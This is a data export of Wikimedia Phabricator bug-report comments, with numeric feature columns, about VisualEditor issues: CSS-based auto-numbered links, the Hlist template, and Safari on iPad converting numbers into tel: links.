I wonder why it didn't work for James?",,,1377816701,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-pu5wfoxxn6nblwrmsxy7,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,4.0,16.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.784313725490196,0.6274509803921569,"
* Supports:
  - URL (CSS3 :empty)
  - URL (counter-increment)
  - URL (:before)

* Test case: URL
  - Works fine in IE9: URL

I wonder why it didn't work for James?"
246806,VisualEditor: Provide a way for users to edit auto-numbered external links,"(In reply to comment #5)
> Please test this test with IE as well. I am hopeful that it works with IE >=
> 8.

In IE9 you get ""not empty"" but none of the other four links.

In IE10 and IE11 you get all five links as expected.",,,1377816286,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pu5wfoxxn6nblwrmsxy7,task_subcomment,,True,c1,3,True,,,8,,2.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,19.0,0.0,5.0,5.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,0.0,5.0,14.0,7.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.7619047619047619,"(In reply to comment #5)
QUOTE
QUOTE

In IE9 you get ""not empty"" but none of the other four links.

In IE10 and IE11 you get all five links as expected."
246801,VisualEditor: Provide a way for users to edit auto-numbered external links,"Yeah, you need the UI for the creation of empty links. But there is no need to deal with renumbering etc in VE, which simplifies things a lot.

Please test this test with IE as well. I am hopeful that it works with IE >= 8.",,,1377814874,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-pu5wfoxxn6nblwrmsxy7,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,2.0,4.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,15.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,4.0,4.0,2.0,0.0,6.0,15.0,7.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,4.0,3.314814814814815,0.8148148148148148,"Yeah, you need the UI for the creation of empty links. But there is no need to deal with renumbering etc in VE, which simplifies things a lot.

Please test this test with IE as well. I am hopeful that it works with IE >= 8."
246794,VisualEditor: Provide a way for users to edit auto-numbered external links,"(In reply to comment #3)
> With a href set this actually works as expected in FF and Chrome:

[…]

> So it seems that we can actually implement auto-numbered links in pure CSS.

That's great. :-)

We will still need a way of creating an auto-numbered external link (rather than just being able to copy and alter them), but that's our problem. :-)",,,1377814131,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pu5wfoxxn6nblwrmsxy7,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,5.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,9.0,0.0,4.0,7.0,0.0,4.0,0.0,2.0,7.0,0.0,2.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,4.0,3.1578947368421053,0.8245614035087719,"(In reply to comment #3)
QUOTE

[…]

QUOTE

That's great. :-)

We will still need a way of creating an auto-numbered external link (rather than just being able to copy and alter them), but that's our problem. :-)"
246789,VisualEditor: Provide a way for users to edit auto-numbered external links,"With a href set this actually works as expected in FF and Chrome:

<html><head>
<style>
body {
    counter-reset: numberedlink;
}
a[typeof~=""mw:ExtLink""]:empty:after {
    content: ""["" counter(numberedlink) ""]"";
    counter-increment: numberedlink;
}
</style>
</head>
<body>
<a href=""test"" typeof=""mw:ExtLink""></a>
<a href=""test"" typeof=""mw:ExtLink"">not empty</a>
<a href=""test"" typeof=""mw:ExtLink""></a>
<a href=""test"" typeof=""mw:ExtLink""></a>
<a href=""test"" typeof=""mw:ExtLink""></a>
</body>
</html>

So it seems that we can actually implement auto-numbered links in pure CSS.",,,1377813350,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-pu5wfoxxn6nblwrmsxy7,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,2.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,1.0,0.5,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,11.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.5,0.5,4.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,3.5,5.5,0.0,5.5,0.0,1.5,0.0,0.0,4.0,0.0,0.0,0.0,3.5,19.5,3.6841704718417048,0.48915525114155256,"With a href set this actually works as expected in FF and Chrome:

<html><head>
<style>
body {
    counter-reset: numberedlink;
}
a[typeof~=""mw:ExtLink""]:empty:after {
    content: ""["" counter(numberedlink) ""]"";
    counter-increment: numberedlink;
}
</style>
</head>
<body>
<a href=""test"" typeof=""mw:ExtLink""></a>
<a href=""test"" typeof=""mw:ExtLink"">not empty</a>
<a href=""test"" typeof=""mw:ExtLink""></a>
<a href=""test"" typeof=""mw:ExtLink""></a>
<a href=""test"" typeof=""mw:ExtLink""></a>
</body>
</html>

So it seems that we can actually implement auto-numbered links in pure CSS."
246785,VisualEditor: Provide a way for users to edit auto-numbered external links,See http://www.w3.org/TR/css3-content/ for the relevant spec.,,,1377811927,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-pu5wfoxxn6nblwrmsxy7,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,1.0,See URL for the relevant spec.
246782,VisualEditor: Provide a way for users to edit auto-numbered external links,"Maybe this could even be handled in CSS, somewhat like this example:

<html><head>
<style>
body {
    color: red;
    counter-reset: numberedlink;
}
a[typeof~=""mw:ExtLink""]:empty:before {
    content: ""["" counter(numberedlink) ""]"";
    counter-increment: numberedlink;
}
</style>
</head>
<body>
<a typeof=""mw:ExtLink""></a>
<a typeof=""mw:ExtLink""></a>
<a typeof=""mw:ExtLink""></a>
<a typeof=""mw:ExtLink""></a>
</body>
</html>

Problems in this simple experiment:

* Links are not clickable, and (maybe related)
* the content can only be generated :before and :after, but not inside the empty link.",,,1377811764,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-pu5wfoxxn6nblwrmsxy7,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,1.0,1.5,2.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,0.5,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,5.5,0.0,2.0,5.5,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,3.5,1.5,0.0,2.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,18.0,3.516150516150516,0.5224775224775224,"Maybe this could even be handled in CSS, somewhat like this example:

<html><head>
<style>
body {
    color: red;
    counter-reset: numberedlink;
}
a[typeof~=""mw:ExtLink""]:empty:before {
    content: ""["" counter(numberedlink) ""]"";
    counter-increment: numberedlink;
}
</style>
</head>
<body>
<a typeof=""mw:ExtLink""></a>
<a typeof=""mw:ExtLink""></a>
<a typeof=""mw:ExtLink""></a>
<a typeof=""mw:ExtLink""></a>
</body>
</html>

Problems in this simple experiment:

* Links are not clickable, and (maybe related)
* the content can only be generated :before and :after, but not inside the empty link."
55340,VisualEditor: trouble with Template:Hlist,"Reporting user comment, some formatting is mine:
<<I made this http://en.wikipedia.org/wiki/User:Atethnekos/sandbox4 as a demonstration. 
1) If the hlist template is used in an infobox or a table like on the page, when I go to VE, the list will end up be extended far into the page. 
2) If it's used with [[File:Image]] as on the page, the list will end up being cut off, and then some weird things will happen if I try to click on the hlist template (e.g., the page will be extended to right and my browser will give a horizontal scroll bar). FF 23.0.1 Win7--Atethnekos 19:33, 25 August 2013 (UTC) >>

I edited his sandbox a couple of times. In this version http://en.wikipedia.org/w/index.php?title=User:Atethnekos/sandbox4&oldid=570256245&veaction=edit the pics of the masks are moved to the left: the caption of the first one is not cut out, but you can't edit the pics at all since VE will consider them as a non editable block.
I can't reproduce the horizontal bar and I can correctly edit the hlist template inside the mask pic caption with both FF and Chrome.
Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1377521880,1590760929.0,PHID-USER-wil4b5lylrvf3krixlkl,True,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-l6w6nyonc7ci3mnehffx,task_description,resolved,True,c1,3,False,False,False,8,,1.0,0.0,0.0,2.0,1.3333333333333333,2.6666666666666665,0.0,0.0,0.0,1.0,2.0,0.6666666666666666,0.0,0.0,0.0,2.3333333333333335,0.3333333333333333,3.6666666666666665,10.333333333333334,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,2.0,0.0,2.3333333333333335,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,0.0,2.6666666666666665,0.0,0.0,0.0,0.0,0.0,13.333333333333334,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,8.333333333333334,2.3333333333333335,9.0,1.6666666666666667,2.6666666666666665,9.666666666666666,0.0,0.0,0.0,0.0,4.0,0.0,1.3333333333333333,0.0,4.333333333333333,10.333333333333334,3.6666666666666665,0.0,0.0,0.0,4.0,0.0,0.3333333333333333,2.0,0.3333333333333333,0.3333333333333333,0.0,0.0,2.0,3.403292181069959,0.7119341563786007,"Reporting user comment, some formatting is mine:
<<I made this URL as a demonstration. 
1) If the hlist template is used in an infobox or a table like on the page, when I go to VE, the list will end up be extended far into the page. 
2) If it's used with [[File:Image]] as on the page, the list will end up being cut off, and then some weird things will happen if I try to click on the hlist template (e.g., the page will be extended to right and my browser will give a horizontal scroll bar). FF 23.0.1 Win7--Atethnekos 19:33, 25 August 2013 (UTC) >>

I edited his sandbox a couple of times. In this version URL the pics of the masks are moved to the left: the caption of the first one is not cut out, but you can't edit the pics at all since VE will consider them as a non editable block.
I can't reproduce the horizontal bar and I can correctly edit the hlist template inside the mask pic caption with both FF and Chrome.
Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal"
1514071,VisualEditor: trouble with Template:Hlist,"The previous comments don't explain what/who exactly this task is //stalled// on ([""If a report is waiting for further input (e.g. from its reporter or a third party) and can currently not be acted on""](https://www.mediawiki.org/wiki/Bug_management/Bug_report_life_cycle)).

> the list will end up be extended far into the page.
Does not seem to happen anymore:

{F31846960}

> If it's used with [[File:Image]] as on the page, the list will end up being cut off, and then some weird things will happen if I try to click on the hlist template (e.g., the page will be extended to right and my browser will give a horizontal scroll bar).

Cannot reproduce in Firefox 76.

>  but you can't edit the pics at all since VE will consider them as a non editable block.

If I understand correctly then I cannot reproduce:

{F31846963}

{F31846962}

If this still happens then please follow https://www.mediawiki.org/wiki/How_to_report_a_bug (clear steps to reproduce; what's expected; what happens instead; in separate sections) and reopen this ticket.

For the records, wiki text test case here is
```
{{Infobox philosopher
|image = File:NAMA Masque esclave.jpg
|caption = Geloius: copy of portrait bust by [[Silanion]]
|name = Geloius
|birth_place = [[Athens]]
|main_interests  = {{hlist |nullus |primus |secundus |tertius |quartus |quintus |sextus |septus |octavus |nonus |decimus |et ceterus }}
}}
```

",,,1590760929,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-l6w6nyonc7ci3mnehffx,task_subcomment,,True,c1,3,True,,,360,,0.0,0.0,0.0,0.5,2.5,3.5,0.5,0.0,0.0,2.0,2.5,0.5,0.0,0.0,0.0,1.5,0.0,9.5,6.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,5.5,1.5,0.5,1.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.5,0.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.5,2.0,2.0,11.0,2.0,1.5,4.0,0.0,0.0,0.0,0.0,5.5,0.5,0.5,0.0,2.0,6.5,3.5,0.0,0.5,0.0,2.0,0.0,2.5,1.0,0.0,0.5,0.0,0.0,0.5,3.753623188405797,0.7826086956521738,"The previous comments don't explain what/who exactly this task is //stalled// on ([""If a report is waiting for further input (e.g. from its reporter or a third party) and can currently not be acted on""](URL

QUOTE
Does not seem to happen anymore:

{F31846960}

QUOTE

Cannot reproduce in Firefox 76.

QUOTE

If I understand correctly then I cannot reproduce:

{F31846963}

{F31846962}

If this still happens then please follow URL (clear steps to reproduce; what's expected; what happens instead; in separate sections) and reopen this ticket.

For the records, wiki text test case here is
``CODE``

"
55315,VisualEditor: Safari on iPad converts numbers that resemble phone numbers to href=tel: links,"Same as #51959, but it keeps hapenning on frwiki: some texts that look like telephone numbers are changed in <a href=""tel:..."">...</a>.

http://fr.wikipedia.org/w/index.php?title=Les_Visiteurs_(film,_1993)&diff=95954243&oldid=95559259

http://fr.wikipedia.org/w/index.php?title=Transformers_3_:_La_Face_cach%C3%A9e_de_la_Lune&diff=96093057&oldid=95089445

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: other
**Platform**: Other
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51959",Low,25.0,1377428640,1430334450.0,PHID-USER-o34e5i3eq4nstbvcf26w,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-26knsdpm5excrpowc3dw,task_description,resolved,True,c1,3,False,False,False,7,,1.0,0.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,14.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,5.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,5.0,3.1139240506329116,0.569620253164557,"Same as #51959, but it keeps hapenning on frwiki: some texts that look like telephone numbers are changed in <a href=""tel:..."">...</a>.

URL

URL

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: other
**Platform**: Other
**See Also**:
URL"
451296,VisualEditor: Safari on iPad converts numbers that resemble phone numbers to href=tel: links,On re-testing this is now fixed.,,,1430334450,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-26knsdpm5excrpowc3dw,task_subcomment,,True,c1,3,True,,,95,,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.0,1.0,On re-testing this is now fixed.
236015,VisualEditor: Safari on iPad converts numbers that resemble phone numbers to href=tel: links,"(In reply to Elitre from comment #10)
> So, James, is this what we are going to do, adding this line? Thanks.

Yes, experimentation as to what triggers Safari to break things, and what changes cause it to stop breaking, is needed.",,,1398787080,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-26knsdpm5excrpowc3dw,task_subcomment,,True,c1,3,True,,,43,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,3.0,0.0,3.0,19.0,8.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,3.7567567567567566,0.8378378378378378,"(In reply to Elitre from comment #10)
QUOTE

Yes, experimentation as to what triggers Safari to break things, and what changes cause it to stop breaking, is needed."
236008,VisualEditor: Safari on iPad converts numbers that resemble phone numbers to href=tel: links,"So, James, is this what we are going to do, adding this line? Thanks.",,,1396944069,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-26knsdpm5excrpowc3dw,task_subcomment,,True,c1,3,False,,,40,,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,16.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,5.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,2.9473684210526314,0.8421052631578947,"So, James, is this what we are going to do, adding this line? Thanks."
236000,VisualEditor: Safari on iPad converts numbers that resemble phone numbers to href=tel: links,"The answer appears to be to have:

  <meta name = ""format-detection"" content = ""telephone=no"">

… in the <head> of the page. Unfortunately, we probably don't want to switch this off for all MediaWiki pages, so instead we will need to experiment to see if JS inserting it into there makes the behaviour go away.",,,1395762161,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-26knsdpm5excrpowc3dw,task_subcomment,,True,c1,3,True,,,38,,1.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,3.0,0.0,8.0,19.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,4.0,1.0,1.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,5.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.0,19.0,3.0,0.0,5.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,3.5,0.7837837837837838,"The answer appears to be to have:

  <meta name = ""format-detection"" content = ""telephone=no"">

… in the <head> of the page. Unfortunately, we probably don't want to switch this off for all MediaWiki pages, so instead we will need to experiment to see if JS inserting it into there makes the behaviour go away."
235993,VisualEditor: Safari on iPad converts numbers that resemble phone numbers to href=tel: links,"(In reply to Jesús Martínez Novo (Ciencia Al Poder) from comment #5)
> Hmmm, it seems I was close enough ;)
> 
> ""In Safari on iOS, telephone number detection is on by default"" according to
> [1]. There it says that adding <meta name=""format-detection""
> content=""telephone=no""/> would prevent that autolink feature, that may
> interfere with the content editable component of the editor.
> 
> ----
> 
> [1]
> https://developer.apple.com/library/safari/featuredarticles/
> iPhoneURLScheme_Reference/Articles/PhoneLinks.html

That URL is no longer valid. This is the new one:

https://developer.apple.com/library/ios/featuredarticles/iPhoneURLScheme_Reference/PhoneLinks/PhoneLinks.html",,,1393672711,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-26knsdpm5excrpowc3dw,task_subcomment,,True,c1,3,False,,,34,,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,40.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,5.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0701754385964914,0.5263157894736842,"(In reply to Jesús Martínez Novo (Ciencia Al Poder) from comment #5)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That URL is no longer valid. This is the new one:

URL"
235988,VisualEditor: Safari on iPad converts numbers that resemble phone numbers to href=tel: links,"And, yes, I really think that VE/Parsoid should find a way to detect changes from browser extensions and neutralize them, otherwise it will be an endless battle to have every extension modified, updated, ...",,,1377442673,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-26knsdpm5excrpowc3dw,task_subcomment,,True,c1,3,False,,,7,,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,10.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,10.0,2.0,5.0,7.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,7.0,10.0,5.0,0.0,0.0,0.0,7.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,4.2439024390243905,0.8780487804878049,"And, yes, I really think that VE/Parsoid should find a way to detect changes from browser extensions and neutralize them, otherwise it will be an endless battle to have every extension modified, updated, ..."
235983,VisualEditor: Safari on iPad converts numbers that resemble phone numbers to href=tel: links,"(In reply to comment #4)
> This might be a bug in Safari rather than VE, but even if it is it would be
> useful for VE (or Parsoid?) to detect the changes and neutralise them. It is
> unlikely that Wikipedia would need href=tel: links but I can see they might
> be
> useful in environments like the contact pages on the Foundation wiki, so
> stripping such links completely mightn't be the optimal solution?

Isn't the <a> tag deactivated on the Foundation wiki also, as it is on Wikipedia ?
On Wikipedia, the <a href=""tel:..."">...</a> doesn't produce a link because MediaWiki renders the <a> tag as text.

Even if ""tel:"" was needed on any wiki, it would be better handled as an external link [tel:... ...] than as a <a> tag.",,,1377442583,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-26knsdpm5excrpowc3dw,task_subcomment,,True,c1,3,False,,,7,,1.0,0.0,0.0,2.0,1.5,1.0,1.0,1.0,0.0,1.0,4.0,1.5,0.0,0.0,0.0,0.0,0.0,4.0,9.5,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,1.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,8.0,2.0,0.0,6.5,0.0,0.0,0.0,0.5,2.5,0.0,0.5,0.0,1.5,9.5,6.0,0.5,2.0,0.0,1.5,0.0,0.0,3.5,0.0,0.0,1.0,0.0,10.5,3.018867924528302,0.6792452830188679,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Isn't the <a> tag deactivated on the Foundation wiki also, as it is on Wikipedia ?
On Wikipedia, the <a href=""tel:..."">...</a> doesn't produce a link because MediaWiki renders the <a> tag as text.

Even if ""tel:"" was needed on any wiki, it would be better handled as an external link [tel:... ...] than as a <a> tag."
235975,VisualEditor: Safari on iPad converts numbers that resemble phone numbers to href=tel: links,"Hmmm, it seems I was close enough ;)

""In Safari on iOS, telephone number detection is on by default"" according to [1]. There it says that adding <meta name=""format-detection"" content=""telephone=no""/> would prevent that autolink feature, that may interfere with the content editable component of the editor.

----

[1] https://developer.apple.com/library/safari/featuredarticles/iPhoneURLScheme_Reference/Articles/PhoneLinks.html",,,1377441939,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-26knsdpm5excrpowc3dw,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,0.0,3.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,14.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,3.0,9.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,14.0,7.0,0.0,4.0,0.0,6.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,6.0,3.9571428571428573,0.7714285714285715,"Hmmm, it seems I was close enough ;)

""In Safari on iOS, telephone number detection is on by default"" according to [1]. There it says that adding <meta name=""format-detection"" content=""telephone=no""/> would prevent that autolink feature, that may interfere with the content editable component of the editor.

----

[1] URL"
